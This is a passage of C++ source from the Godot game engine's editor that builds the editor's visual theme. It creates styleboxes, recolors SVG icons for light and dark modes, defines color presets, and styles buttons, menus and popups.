/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "editor_themes.h"
#include "core/io/resource_loader.h"
#include "editor_fonts.h"
#include "editor_icons.gen.h"
#include "editor_scale.h"
#include "editor_settings.h"
#include "modules/svg/image_loader_svg.h"
static Ref<StyleBoxTexture> make_stylebox(Ref<Texture> p_texture, float p_left, float p_top, float p_right, float p_botton, float p_margin_left = -1, float p_margin_top = -1, float p_margin_right = -1, float p_margin_botton = -1, bool p_draw_center = true) {
Ref<StyleBoxTexture> style(memnew(StyleBoxTexture));
style->set_texture(p_texture);
style->set_margin_size(MARGIN_LEFT, p_left * EDSCALE);
style->set_margin_size(MARGIN_RIGHT, p_right * EDSCALE);
style->set_margin_size(MARGIN_BOTTOM, p_botton * EDSCALE);
style->set_margin_size(MARGIN_TOP, p_top * EDSCALE);
style->set_default_margin(MARGIN_LEFT, p_margin_left * EDSCALE);
style->set_default_margin(MARGIN_RIGHT, p_margin_right * EDSCALE);
style->set_default_margin(MARGIN_BOTTOM, p_margin_botton * EDSCALE);
style->set_default_margin(MARGIN_TOP, p_margin_top * EDSCALE);
style->set_draw_center(p_draw_center);
return style;
}
static Ref<StyleBoxEmpty> make_empty_stylebox(float p_margin_left = -1, float p_margin_top = -1, float p_margin_right = -1, float p_margin_bottom = -1) {
Ref<StyleBoxEmpty> style(memnew(StyleBoxEmpty));
style->set_default_margin(MARGIN_LEFT, p_margin_left * EDSCALE);
style->set_default_margin(MARGIN_RIGHT, p_margin_right * EDSCALE);
style->set_default_margin(MARGIN_BOTTOM, p_margin_bottom * EDSCALE);
style->set_default_margin(MARGIN_TOP, p_margin_top * EDSCALE);
return style;
}
static Ref<StyleBoxFlat> make_flat_stylebox(Color p_color, float p_margin_left = -1, float p_margin_top = -1, float p_margin_right = -1, float p_margin_bottom = -1) {
Ref<StyleBoxFlat> style(memnew(StyleBoxFlat));
style->set_bg_color(p_color);
style->set_default_margin(MARGIN_LEFT, p_margin_left * EDSCALE);
style->set_default_margin(MARGIN_RIGHT, p_margin_right * EDSCALE);
style->set_default_margin(MARGIN_BOTTOM, p_margin_bottom * EDSCALE);
style->set_default_margin(MARGIN_TOP, p_margin_top * EDSCALE);
return style;
}
static Ref<StyleBoxLine> make_line_stylebox(Color p_color, int p_thickness = 1, float p_grow_begin = 1, float p_grow_end = 1, bool p_vertical = false) {
Ref<StyleBoxLine> style(memnew(StyleBoxLine));
style->set_color(p_color);
style->set_grow_begin(p_grow_begin);
style->set_grow_end(p_grow_end);
style->set_thickness(p_thickness);
style->set_vertical(p_vertical);
return style;
}
Ref<ImageTexture> editor_generate_icon(int p_index, bool p_convert_color, float p_scale = EDSCALE, bool p_force_filter = false) {
Ref<ImageTexture> icon = memnew(ImageTexture);
Ref<Image> img = memnew(Image);
// dumb gizmo check
bool is_gizmo = String(editor_icons_names[p_index]).begins_with("Gizmo");
ImageLoaderSVG::create_image_from_string(img, editor_icons_sources[p_index], p_scale, true, p_convert_color);
if ((p_scale - (float)((int)p_scale)) > 0.0 || is_gizmo || p_force_filter)
icon->create_from_image(img); // in this case filter really helps
else
icon->create_from_image(img, 0);
return icon;
}
#ifndef ADD_CONVERT_COLOR
#define ADD_CONVERT_COLOR(dictionary, old_color, new_color) dictionary[Color::html(old_color)] = Color::html(new_color)
#endif
void editor_register_and_generate_icons(Ref<Theme> p_theme, bool p_dark_theme = true, int p_thumb_size = 32, bool p_only_thumbs = false) {
#ifdef SVG_ENABLED
Dictionary dark_icon_color_dictionary;
if (!p_dark_theme) {
//convert color: FROM TO
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#e0e0e0", "#4f4f4f"); // common icon color
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ffffff", "#000000"); // white
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#b4b4b4", "#000000"); // script darker color
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#cea4f1", "#bb6dff"); // animation
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#fc9c9c", "#ff5f5f"); // spatial
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#a5b7f3", "#6d90ff"); // 2d
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#708cea", "#0843ff"); // 2d dark
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#a5efac", "#29d739"); // control
// rainbow
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ff7070", "#ff2929"); // red
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ffeb70", "#ffe337"); // yellow
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#9dff70", "#74ff34"); // green
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#70ffb9", "#2cff98"); // aqua
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#70deff", "#22ccff"); // blue
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#9f70ff", "#702aff"); // purple
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ff70ac", "#ff2781"); // pink
// audio gradient
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ff8484", "#ff4040"); // red
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#e1dc7a", "#d6cf4b"); // yellow
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#84ffb1", "#00f010"); // green
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ffd684", "#fea900"); // mesh (orange)
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#40a2ff", "#68b6ff"); // shape (blue)
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ff8484", "#ff3333"); // remove (red)
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#84ffb1", "#00db50"); // add (green)
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#84c2ff", "#5caeff"); // selection (blue)
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ea686c", "#e3383d"); // key xform (red)
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#69ecbd", "#25e3a0"); // VS variant
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#8da6f0", "#6d8eeb"); // VS bool
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#7dc6ef", "#4fb2e9"); // VS int
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#61daf4", "#27ccf0"); // VS float
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#6ba7ec", "#4690e7"); // VS string
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#bd91f1", "#ad76ee"); // VS vector2
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#f191a5", "#ee758e"); // VS rect
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#e286f0", "#dc6aed"); // VS vector3
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#c4ec69", "#96ce1a"); // VS transform2D
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#f77070", "#f77070"); // VS plane
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ec69a3", "#ec69a3"); // VS quat
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#ee7991", "#ee7991"); // VS aabb
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#e3ec69", "#b2bb19"); // VS basis
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#f6a86e", "#f49047"); // VS transform
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#6993ec", "#6993ec"); // VS path
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#69ec9a", "#2ce573"); // VS rid
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#79f3e8", "#12d5c3"); // VS object
ADD_CONVERT_COLOR(dark_icon_color_dictionary, "#77edb1", "#57e99f"); // VS dict
}
// these ones should be converted even if we are using a dark theme
const Color error_color = p_theme->get_color("error_color", "Editor");
const Color success_color = p_theme->get_color("success_color", "Editor");
const Color warning_color = p_theme->get_color("warning_color", "Editor");
dark_icon_color_dictionary[Color::html("#ff0000")] = error_color;
dark_icon_color_dictionary[Color::html("#45ff8b")] = success_color;
dark_icon_color_dictionary[Color::html("#dbab09")] = warning_color;
List<String> exceptions;
exceptions.push_back("EditorPivot");
exceptions.push_back("EditorHandle");
exceptions.push_back("Editor3DHandle");
exceptions.push_back("Godot");
exceptions.push_back("PanoramaSky");
exceptions.push_back("ProceduralSky");
exceptions.push_back("EditorControlAnchor");
exceptions.push_back("DefaultProjectIcon");
exceptions.push_back("GuiCloseCustomizable");
exceptions.push_back("GuiGraphNodePort");
exceptions.push_back("GuiResizer");
exceptions.push_back("ZoomMore");
exceptions.push_back("ZoomLess");
exceptions.push_back("ZoomReset");
exceptions.push_back("LockViewport");
exceptions.push_back("GroupViewport");
exceptions.push_back("StatusError");
exceptions.push_back("StatusSuccess");
exceptions.push_back("StatusWarning");
exceptions.push_back("NodeWarning");
ImageLoaderSVG::set_convert_colors(&dark_icon_color_dictionary);
// generate icons
if (!p_only_thumbs)
for (int i = 0; i < editor_icons_count; i++) {
List<String>::Element *is_exception = exceptions.find(editor_icons_names[i]);
if (is_exception) exceptions.erase(is_exception);
Ref<ImageTexture> icon = editor_generate_icon(i, !is_exception);
p_theme->set_icon(editor_icons_names[i], "EditorIcons", icon);
}
// generate thumb files with the given thumb size
bool force_filter = !(p_thumb_size == 64 && p_thumb_size == 32); // we don't need filter with original resolution
if (p_thumb_size >= 64) {
float scale = (float)p_thumb_size / 64.0 * EDSCALE;
for (int i = 0; i < editor_bg_thumbs_count; i++) {
int index = editor_bg_thumbs_indices[i];
List<String>::Element *is_exception = exceptions.find(editor_icons_names[index]);
if (is_exception) exceptions.erase(is_exception);
Ref<ImageTexture> icon = editor_generate_icon(index, !p_dark_theme && !is_exception, scale, force_filter);
p_theme->set_icon(editor_icons_names[index], "EditorIcons", icon);
}
} else {
float scale = (float)p_thumb_size / 32.0 * EDSCALE;
for (int i = 0; i < editor_md_thumbs_count; i++) {
int index = editor_md_thumbs_indices[i];
List<String>::Element *is_exception = exceptions.find(editor_icons_names[index]);
if (is_exception) exceptions.erase(is_exception);
Ref<ImageTexture> icon = editor_generate_icon(index, !p_dark_theme && !is_exception, scale, force_filter);
p_theme->set_icon(editor_icons_names[index], "EditorIcons", icon);
}
}
ImageLoaderSVG::set_convert_colors(NULL);
#else
print_line("SVG support disabled, editor icons won't be rendered.");
#endif
}
Ref<Theme> create_editor_theme(const Ref<Theme> p_theme) {
Ref<Theme> theme = Ref<Theme>(memnew(Theme));
const float default_contrast = 0.25;
//Theme settings
Color accent_color = EDITOR_DEF("interface/theme/accent_color", Color::html("#699ce8"));
Color base_color = EDITOR_DEF("interface/theme/base_color", Color::html("#323b4f"));
float contrast = EDITOR_DEF("interface/theme/contrast", default_contrast);
String preset = EDITOR_DEF("interface/theme/preset", "Default");
bool highlight_tabs = EDITOR_DEF("interface/theme/highlight_tabs", false);
int border_size = EDITOR_DEF("interface/theme/border_size", 1);
bool use_gn_headers = EDITOR_DEF("interface/theme/use_graph_node_headers", false);
Color preset_accent_color;
Color preset_base_color;
float preset_contrast = 0;
// Please, use alphabet order if you've added new theme here(After "Default" and "Custom")
if (preset == "Default") {
preset_accent_color = Color::html("#699ce8");
preset_base_color = Color::html("#323b4f");
preset_contrast = default_contrast;
} else if (preset == "Custom") {
accent_color = EDITOR_DEF("interface/theme/accent_color", Color::html("#699ce8"));
base_color = EDITOR_DEF("interface/theme/base_color", Color::html("#323b4f"));
contrast = EDITOR_DEF("interface/theme/contrast", default_contrast);
} else if (preset == "Alien") {
preset_accent_color = Color::html("#1bfe99");
preset_base_color = Color::html("#2f373f");
preset_contrast = 0.25;
} else if (preset == "Arc") {
preset_accent_color = Color::html("#5294e2");
preset_base_color = Color::html("#383c4a");
preset_contrast = 0.25;
} else if (preset == "Godot 2") {
preset_accent_color = Color::html("#86ace2");
preset_base_color = Color::html("#3C3A44");
preset_contrast = 0.25;
} else if (preset == "Grey") {
preset_accent_color = Color::html("#b8e4ff");
preset_base_color = Color::html("#3d3d3d");
preset_contrast = 0.2;
} else if (preset == "Light") {
preset_accent_color = Color::html("#2070ff");
preset_base_color = Color::html("#ffffff");
preset_contrast = 0.08;
} else if (preset == "Solarized (Dark)") {
preset_accent_color = Color::html("#268bd2");
preset_base_color = Color::html("#073642");
preset_contrast = 0.15;
} else if (preset == "Solarized (Light)") {
preset_accent_color = Color::html("#268bd2");
preset_base_color = Color::html("#fdf6e3");
preset_contrast = 0.06;
} else { // Default
preset_accent_color = Color::html("#699ce8");
preset_base_color = Color::html("#323b4f");
preset_contrast = default_contrast;
}
if (preset != "Custom") {
accent_color = preset_accent_color;
base_color = preset_base_color;
contrast = preset_contrast;
EditorSettings::get_singleton()->set_initial_value("interface/theme/accent_color", accent_color);
EditorSettings::get_singleton()->set_initial_value("interface/theme/base_color", base_color);
EditorSettings::get_singleton()->set_initial_value("interface/theme/contrast", contrast);
}
EditorSettings::get_singleton()->set_manually("interface/theme/preset", preset);
EditorSettings::get_singleton()->set_manually("interface/theme/accent_color", accent_color);
EditorSettings::get_singleton()->set_manually("interface/theme/base_color", base_color);
EditorSettings::get_singleton()->set_manually("interface/theme/contrast", contrast);
//Colors
bool dark_theme = EditorSettings::get_singleton()->is_dark_theme();
const Color dark_color_1 = base_color.linear_interpolate(Color(0, 0, 0, 1), contrast);
const Color dark_color_2 = base_color.linear_interpolate(Color(0, 0, 0, 1), contrast * 1.5);
const Color dark_color_3 = base_color.linear_interpolate(Color(0, 0, 0, 1), contrast * 2);
const Color background_color = dark_color_2;
// white (dark theme) or black (light theme), will be used to generate the rest of the colors
const Color mono_color = dark_theme ? Color(1, 1, 1) : Color(0, 0, 0);
const Color contrast_color_1 = base_color.linear_interpolate(mono_color, MAX(contrast, default_contrast));
const Color contrast_color_2 = base_color.linear_interpolate(mono_color, MAX(contrast * 1.5, default_contrast * 1.5));
const Color font_color = mono_color.linear_interpolate(base_color, 0.25);
const Color font_color_hl = mono_color.linear_interpolate(base_color, 0.15);
const Color font_color_disabled = Color(mono_color.r, mono_color.g, mono_color.b, 0.3);
const Color font_color_selection = Color::html("#7d7d7d");
const Color color_disabled = mono_color.inverted().linear_interpolate(base_color, 0.7);
const Color color_disabled_bg = mono_color.inverted().linear_interpolate(base_color, 0.9);
const Color separator_color = Color(mono_color.r, mono_color.g, mono_color.b, 0.1);
const Color highlight_color = Color(mono_color.r, mono_color.g, mono_color.b, 0.2);
theme->set_color("accent_color", "Editor", accent_color);
theme->set_color("highlight_color", "Editor", highlight_color);
theme->set_color("base_color", "Editor", base_color);
theme->set_color("dark_color_1", "Editor", dark_color_1);
theme->set_color("dark_color_2", "Editor", dark_color_2);
theme->set_color("dark_color_3", "Editor", dark_color_3);
theme->set_color("contrast_color_1", "Editor", contrast_color_1);
theme->set_color("contrast_color_2", "Editor", contrast_color_2);
theme->set_color("font_color", "Editor", font_color);
theme->set_color("highlighted_font_color", "Editor", font_color_hl);
theme->set_color("disabled_font_color", "Editor", font_color_disabled);
theme->set_color("mono_color", "Editor", mono_color);
Color success_color = Color(0.45, 0.95, 0.5);
Color warning_color = Color(1, 0.87, 0.4);
Color error_color = Color(1, 0.47, 0.42);
Color property_color = font_color.linear_interpolate(Color(0.5, 0.5, 0.5), 0.5);
if (!dark_theme) {
// Darken some colors to be readable on a light background
success_color = success_color.linear_interpolate(mono_color, 0.35);
warning_color = warning_color.linear_interpolate(mono_color, 0.35);
error_color = error_color.linear_interpolate(mono_color, 0.25);
}
theme->set_color("success_color", "Editor", success_color);
theme->set_color("warning_color", "Editor", warning_color);
theme->set_color("error_color", "Editor", error_color);
theme->set_color("property_color", "Editor", property_color);
const int thumb_size = EDITOR_DEF("filesystem/file_dialog/thumbnail_size", 64);
theme->set_constant("scale", "Editor", EDSCALE);
theme->set_constant("thumb_size", "Editor", thumb_size);
theme->set_constant("dark_theme", "Editor", dark_theme);
//Register icons + font
// the resolution and the icon color (dark_theme bool) has not changed, so we do not regenerate the icons
if (p_theme != NULL && fabs(p_theme->get_constant("scale", "Editor") - EDSCALE) < 0.00001 && (bool)p_theme->get_constant("dark_theme", "Editor") == dark_theme) {
// register already generated icons
for (int i = 0; i < editor_icons_count; i++) {
theme->set_icon(editor_icons_names[i], "EditorIcons", p_theme->get_icon(editor_icons_names[i], "EditorIcons"));
}
} else {
editor_register_and_generate_icons(theme, dark_theme, thumb_size);
}
// thumbnail size has changed, so we regenerate the medium sizes
if (p_theme != NULL && fabs((double)p_theme->get_constant("thumb_size", "Editor") - thumb_size) > 0.00001) {
editor_register_and_generate_icons(p_theme, dark_theme, thumb_size, true);
}
editor_register_fonts(theme);
// Highlighted tabs and border width
Color tab_color = highlight_tabs ? base_color.linear_interpolate(font_color, contrast) : base_color;
const int border_width = CLAMP(border_size, 0, 3) * EDSCALE;
const int default_margin_size = 4;
const int margin_size_extra = default_margin_size + CLAMP(border_size, 0, 3);
// styleboxes
// this is the most commonly used stylebox, variations should be made as duplicate of this
Ref<StyleBoxFlat> style_default = make_flat_stylebox(base_color, default_margin_size, default_margin_size, default_margin_size, default_margin_size);
style_default->set_border_width_all(border_width);
style_default->set_border_color_all(base_color);
style_default->set_draw_center(true);
// Button and widgets
const float extra_spacing = EDITOR_GET("interface/theme/additional_spacing");
Ref<StyleBoxFlat> style_widget = style_default->duplicate();
style_widget->set_default_margin(MARGIN_LEFT, (extra_spacing + 6) * EDSCALE);
style_widget->set_default_margin(MARGIN_TOP, (extra_spacing + default_margin_size) * EDSCALE);
style_widget->set_default_margin(MARGIN_RIGHT, (extra_spacing + 6) * EDSCALE);
style_widget->set_default_margin(MARGIN_BOTTOM, (extra_spacing + default_margin_size) * EDSCALE);
style_widget->set_bg_color(dark_color_1);
style_widget->set_border_color_all(dark_color_2);
Ref<StyleBoxFlat> style_widget_disabled = style_widget->duplicate();
style_widget_disabled->set_border_color_all(color_disabled);
style_widget_disabled->set_bg_color(color_disabled_bg);
Ref<StyleBoxFlat> style_widget_focus = style_widget->duplicate();
style_widget_focus->set_border_color_all(accent_color);
Ref<StyleBoxFlat> style_widget_pressed = style_widget->duplicate();
style_widget_pressed->set_border_color_all(accent_color);
Ref<StyleBoxFlat> style_widget_hover = style_widget->duplicate();
style_widget_hover->set_border_color_all(contrast_color_1);
// style for windows, popups, etc..
Ref<StyleBoxFlat> style_popup = style_default->duplicate();
const int popup_margin_size = default_margin_size * EDSCALE * 2;
style_popup->set_default_margin(MARGIN_LEFT, popup_margin_size);
style_popup->set_default_margin(MARGIN_TOP, popup_margin_size);
style_popup->set_default_margin(MARGIN_RIGHT, popup_margin_size);
style_popup->set_default_margin(MARGIN_BOTTOM, popup_margin_size);
style_popup->set_border_color_all(contrast_color_1);
style_popup->set_border_width_all(MAX(EDSCALE, border_width));
const Color shadow_color = Color(0, 0, 0, dark_theme ? 0.3 : 0.1);
style_popup->set_shadow_color(shadow_color);
style_popup->set_shadow_size(4 * EDSCALE);
Ref<StyleBoxLine> style_popup_separator(memnew(StyleBoxLine));
style_popup_separator->set_color(separator_color);
style_popup_separator->set_grow_begin(popup_margin_size - MAX(EDSCALE, border_width));
style_popup_separator->set_grow_end(popup_margin_size - MAX(EDSCALE, border_width));
style_popup_separator->set_thickness(MAX(EDSCALE, border_width));
Ref<StyleBoxLine> style_popup_labeled_separator_left(memnew(StyleBoxLine));
style_popup_labeled_separator_left->set_grow_begin(popup_margin_size - MAX(EDSCALE, border_width));
style_popup_labeled_separator_left->set_color(separator_color);
style_popup_labeled_separator_left->set_thickness(MAX(EDSCALE, border_width));
Ref<StyleBoxLine> style_popup_labeled_separator_right(memnew(StyleBoxLine));
style_popup_labeled_separator_right->set_grow_end(popup_margin_size - MAX(EDSCALE, border_width));
style_popup_labeled_separator_right->set_color(separator_color);
style_popup_labeled_separator_right->set_thickness(MAX(EDSCALE, border_width));
Ref<StyleBoxEmpty> style_empty = make_empty_stylebox(default_margin_size, default_margin_size, default_margin_size, default_margin_size);
// Tabs
const int tab_default_margin_side = 10 * EDSCALE + extra_spacing * EDSCALE;
const int tab_default_margin_vertical = 5 * EDSCALE + extra_spacing * EDSCALE;
Ref<StyleBoxFlat> style_tab_selected = style_widget->duplicate();
style_tab_selected->set_border_width_all(border_width);
style_tab_selected->set_border_width(MARGIN_BOTTOM, 0);
style_tab_selected->set_border_color_all(dark_color_3);
style_tab_selected->set_expand_margin_size(MARGIN_BOTTOM, border_width);
style_tab_selected->set_default_margin(MARGIN_LEFT, tab_default_margin_side);
style_tab_selected->set_default_margin(MARGIN_RIGHT, tab_default_margin_side);
style_tab_selected->set_default_margin(MARGIN_BOTTOM, tab_default_margin_vertical);
style_tab_selected->set_default_margin(MARGIN_TOP, tab_default_margin_vertical);
style_tab_selected->set_bg_color(tab_color);
Ref<StyleBoxFlat> style_tab_unselected = style_tab_selected->duplicate();
style_tab_unselected->set_bg_color(dark_color_1);
style_tab_unselected->set_border_color_all(dark_color_2);
Ref<StyleBoxFlat> style_tab_disabled = style_tab_selected->duplicate();
style_tab_disabled->set_bg_color(color_disabled_bg);
style_tab_disabled->set_border_color_all(color_disabled);
// Editor background
theme->set_stylebox("Background", "EditorStyles", make_flat_stylebox(background_color, default_margin_size, default_margin_size, default_margin_size, default_margin_size));
// Focus
Ref<StyleBoxFlat> style_focus = style_default->duplicate();
style_focus->set_draw_center(false);
style_focus->set_border_color_all(contrast_color_2);
theme->set_stylebox("Focus", "EditorStyles", style_focus);
// Menu
Ref<StyleBoxFlat> style_menu = style_widget->duplicate();
style_menu->set_draw_center(false);
style_menu->set_border_width_all(0);
theme->set_stylebox("panel", "PanelContainer", style_menu);
theme->set_stylebox("MenuPanel", "EditorStyles", style_menu);
// Script Editor
theme->set_stylebox("ScriptEditorPanel", "EditorStyles", make_empty_stylebox(default_margin_size, 0, default_margin_size, default_margin_size));
theme->set_stylebox("ScriptEditor", "EditorStyles", make_empty_stylebox(0, 0, 0, 0));
// Play button group
theme->set_stylebox("PlayButtonPanel", "EditorStyles", style_empty);
//MenuButton
Ref<StyleBoxFlat> style_menu_hover_border = style_widget->duplicate();
style_menu_hover_border->set_draw_center(false);
style_menu_hover_border->set_border_width_all(0);
style_menu_hover_border->set_border_width(MARGIN_BOTTOM, border_width);
style_menu_hover_border->set_border_color_all(accent_color);
Ref<StyleBoxFlat> style_menu_hover_bg = style_widget->duplicate();
style_menu_hover_bg->set_border_width_all(0);
style_menu_hover_bg->set_bg_color(dark_color_1);
theme->set_stylebox("normal", "MenuButton", style_menu);
theme->set_stylebox("hover", "MenuButton", style_menu);
theme->set_stylebox("pressed", "MenuButton", style_menu);
theme->set_stylebox("focus", "MenuButton", style_menu);
theme->set_stylebox("disabled", "MenuButton", style_menu);
theme->set_stylebox("normal", "PopupMenu", style_menu);
theme->set_stylebox("hover", "PopupMenu", style_menu_hover_bg);
theme->set_stylebox("pressed", "PopupMenu", style_menu);
theme->set_stylebox("focus", "PopupMenu", style_menu);
theme->set_stylebox("disabled", "PopupMenu", style_menu);
theme->set_stylebox("normal", "ToolButton", style_menu);
theme->set_stylebox("hover", "ToolButton", style_menu);
theme->set_stylebox("pressed", "ToolButton", style_menu);
theme->set_stylebox("focus", "ToolButton", style_menu);
theme->set_stylebox("disabled", "ToolButton", style_menu);
theme->set_color("font_color", "MenuButton", font_color);
theme->set_color("font_color_hover", "MenuButton", font_color_hl);
theme->set_color("font_color", "ToolButton", font_color);
theme->set_color("font_color_hover", "ToolButton", font_color_hl);
theme->set_color("font_color_pressed", "ToolButton", accent_color);
theme->set_stylebox("MenuHover", "EditorStyles", style_menu_hover_border);
// Buttons
theme->set_stylebox("normal", "Button", style_widget);
theme->set_stylebox("hover", "Button", style_widget_hover);
theme->set_stylebox("pressed", "Button", style_widget_pressed);
theme->set_stylebox("focus", "Button", style_widget_focus);
theme->set_stylebox("disabled", "Button", style_widget_disabled);
theme->set_color("font_color", "Button", font_color);
theme->set_color("font_color_hover", "Button", font_color_hl);
theme->set_color("font_color_pressed", "Button", accent_color);
theme->set_color("font_color_disabled", "Button", font_color_disabled);
theme->set_color("icon_color_hover", "Button", font_color_hl);
// make icon color value bigger because icon image is not complete white
theme->set_color("icon_color_pressed", "Button", Color(accent_color.r * 1.15, accent_color.g * 1.15, accent_color.b * 1.15, accent_color.a));
// OptionButton
theme->set_stylebox("normal", "OptionButton", style_widget);
theme->set_stylebox("hover", "OptionButton", style_widget_hover);
theme->set_stylebox("pressed", "OptionButton", style_widget_pressed);
theme->set_stylebox("focus", "OptionButton", style_widget_focus);
theme->set_stylebox("disabled", "OptionButton", style_widget_disabled);
theme->set_color("font_color", "OptionButton", font_color);
theme->set_color("font_color_hover", "OptionButton", font_color_hl);
theme->set_color("font_color_pressed", "OptionButton", accent_color);
theme->set_color("font_color_disabled", "OptionButton", font_color_disabled);
theme->set_color("icon_color_hover", "OptionButton", font_color_hl);
theme->set_icon("arrow", "OptionButton", theme->get_icon("GuiOptionArrow", "EditorIcons"));
theme->set_constant("arrow_margin", "OptionButton", default_margin_size * EDSCALE);
theme->set_constant("modulate_arrow", "OptionButton", true);
theme->set_constant("hseparation", "OptionButton", 4 * EDSCALE);
// CheckButton
theme->set_stylebox("normal", "CheckButton", style_menu);
theme->set_stylebox("pressed", "CheckButton", style_menu);
theme->set_stylebox("disabled", "CheckButton", style_menu);
theme->set_stylebox("hover", "CheckButton", style_menu);
theme->set_icon("on", "CheckButton", theme->get_icon("GuiToggleOn", "EditorIcons"));
theme->set_icon("off", "CheckButton", theme->get_icon("GuiToggleOff", "EditorIcons"));
theme->set_color("font_color", "CheckButton", font_color);
theme->set_color("font_color_hover", "CheckButton", font_color_hl);
theme->set_color("font_color_pressed", "CheckButton", accent_color);
theme->set_color("font_color_disabled", "CheckButton", font_color_disabled);
theme->set_color("icon_color_hover", "CheckButton", font_color_hl);
theme->set_constant("hseparation", "CheckButton", 4 * EDSCALE);
theme->set_constant("check_vadjust", "CheckButton", 0 * EDSCALE);
// Checkbox
Ref<StyleBoxFlat> sb_checkbox = style_menu->duplicate();
sb_checkbox->set_default_margin(MARGIN_LEFT, default_margin_size * EDSCALE);
sb_checkbox->set_default_margin(MARGIN_RIGHT, default_margin_size * EDSCALE);
sb_checkbox->set_default_margin(MARGIN_TOP, default_margin_size * EDSCALE);
sb_checkbox->set_default_margin(MARGIN_BOTTOM, default_margin_size * EDSCALE);
theme->set_stylebox("normal", "CheckBox", sb_checkbox);
theme->set_stylebox("pressed", "CheckBox", sb_checkbox);
theme->set_stylebox("disabled", "CheckBox", sb_checkbox);
theme->set_stylebox("hover", "CheckBox", sb_checkbox);
theme->set_icon("checked", "CheckBox", theme->get_icon("GuiChecked", "EditorIcons"));
theme->set_icon("unchecked", "CheckBox", theme->get_icon("GuiUnchecked", "EditorIcons"));
theme->set_icon("radio_checked", "CheckBox", theme->get_icon("GuiRadioChecked", "EditorIcons"));
theme->set_icon("radio_unchecked", "CheckBox", theme->get_icon("GuiRadioUnchecked", "EditorIcons"));
theme->set_color("font_color", "CheckBox", font_color);
theme->set_color("font_color_hover", "CheckBox", font_color_hl);
theme->set_color("font_color_pressed", "CheckBox", accent_color);
theme->set_color("font_color_disabled", "CheckBox", font_color_disabled);
theme->set_color("icon_color_hover", "CheckBox", font_color_hl);
theme->set_constant("hseparation", "CheckBox", 4 * EDSCALE);
theme->set_constant("check_vadjust", "CheckBox", 0 * EDSCALE);
// PopupMenu
Ref<StyleBoxFlat> style_popup_menu = style_popup;
theme->set_stylebox("panel", "PopupMenu", style_popup_menu);
theme->set_stylebox("separator", "PopupMenu", style_popup_separator);
theme->set_stylebox("labeled_separator_left", "PopupMenu", style_popup_labeled_separator_left);
theme->set_stylebox("labeled_separator_right", "PopupMenu", style_popup_labeled_separator_right);
theme->set_color("font_color", "PopupMenu", font_color);
theme->set_color("font_color_hover", "PopupMenu", font_color_hl);
theme->set_color("font_color_accel", "PopupMenu", font_color_disabled);
theme->set_color("font_color_disabled", "PopupMenu", font_color_disabled);
theme->set_icon("checked", "PopupMenu", theme->get_icon("GuiChecked", "EditorIcons"));
theme->set_icon("unchecked", "PopupMenu", theme->get_icon("GuiUnchecked", "EditorIcons"));
theme->set_icon("radio_checked", "PopupMenu", theme->get_icon("GuiRadioChecked", "EditorIcons"));
theme->set_icon("radio_unchecked", "PopupMenu", theme->get_icon("GuiRadioUnchecked", "EditorIcons"));
theme->set_icon("submenu", "PopupMenu", theme->get_icon("ArrowRight", "EditorIcons"));
theme->set_icon("visibility_hidden", "PopupMenu", theme->get_icon("GuiVisibilityHidden", "EditorIcons"));
theme->set_icon("visibility_visible", "PopupMenu", theme->get_icon("GuiVisibilityVisible", "EditorIcons"));
theme->set_icon("visibility_xray", "PopupMenu", theme->get_icon("GuiVisibilityXray", "EditorIcons"));
theme->set_constant("vseparation", "PopupMenu", (extra_spacing + default_margin_size + 1) * EDSCALE);
Ref<StyleBoxFlat> sub_inspector_bg = make_flat_stylebox(dark_color_1, 2, 0, 0, 0);
sub_inspector_bg->set_border_width(MARGIN_LEFT, 2);
sub_inspector_bg->set_border_color(MARGIN_LEFT, accent_color * Color(1, 1, 1, 0.3));
sub_inspector_bg->set_draw_center(true);
theme->set_stylebox("sub_inspector_bg", "Editor", sub_inspector_bg);
theme->set_constant("inspector_margin", "Editor", 8 * EDSCALE);
// Tree & ItemList background
